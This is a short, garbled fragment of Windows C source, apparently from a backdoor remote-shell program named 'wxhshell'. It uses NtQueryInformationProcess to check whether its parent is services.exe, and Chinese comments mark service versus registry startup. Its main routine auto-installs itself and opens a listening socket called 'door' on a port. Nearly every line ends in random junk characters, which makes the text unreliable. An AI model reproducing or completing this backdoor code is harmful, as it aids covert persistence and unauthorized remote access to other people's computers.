ULONG UniqueProcessId; S-ZN}N{,6
ULONG InheritedFromUniqueProcessId; ;UUgqX#
} PROCESS_BASIC_INFORMATION; 5XzsqeG|
7fO<=ei:
PROCNTQSIP NtQueryInformationProcess; C2\WvE%!
mk^,{D
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O^ui+44wp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z$}9f*W}B
J7-
vB",U
HANDLE hProcess; }&v-<qC^
PROCESS_BASIC_INFORMATION pbi; 5GgH6
nCp_RJu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3A[<LnKR^E
if(NULL == hInst ) return 0; :dRC$?f4
vu91"
4Fa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |HYST`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )bL(\~0g~
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \>}#[?y
frDMFEXXP
if (!NtQueryInformationProcess) return 0; <?}pCX/O
,Wu$@jD/]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /\uopa
if(!hProcess) return 0; ={
-kQq
jb,a>9]p
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c2,g%(
IGVq`Mxj
CloseHandle(hProcess); ]B3+&g
frW\!r{LT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S;gy:n!t
if(hProcess==NULL) return 0; 1#7|au%:)
&"gX
7cK8
HMODULE hMod; +r//8&
char procName[255]; zTfjuI|R
unsigned long cbNeeded; \lQI;b;$
&~/g[\Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %e0X-tXcmX
f(eXny@Y
CloseHandle(hProcess); yufw}Lo-
:p@jslD
if(strstr(procName,"services")) return 1; // 以服务启动 WQ.{Ag?1
S{8-XiL,
return 0; // 注册表启动 ]3,
} skan1wQ
@lWNSf
// 主模块 qxAh8RR;/
int StartWxhshell(LPSTR lpCmdLine) "DGap*=J
{ ,Nhv#U<$
SOCKET wsl; `AvK8Wh<+
BOOL val=TRUE; Z:>3AJuS_
int port=0; <pa-C2Ky
struct sockaddr_in door; [A{o"zY
'%ZKvZ-
if(wscfg.ws_autoins) Install(); (jhi<eV
K0C"s'q
port=atoi(lpCmdLine); X"`[&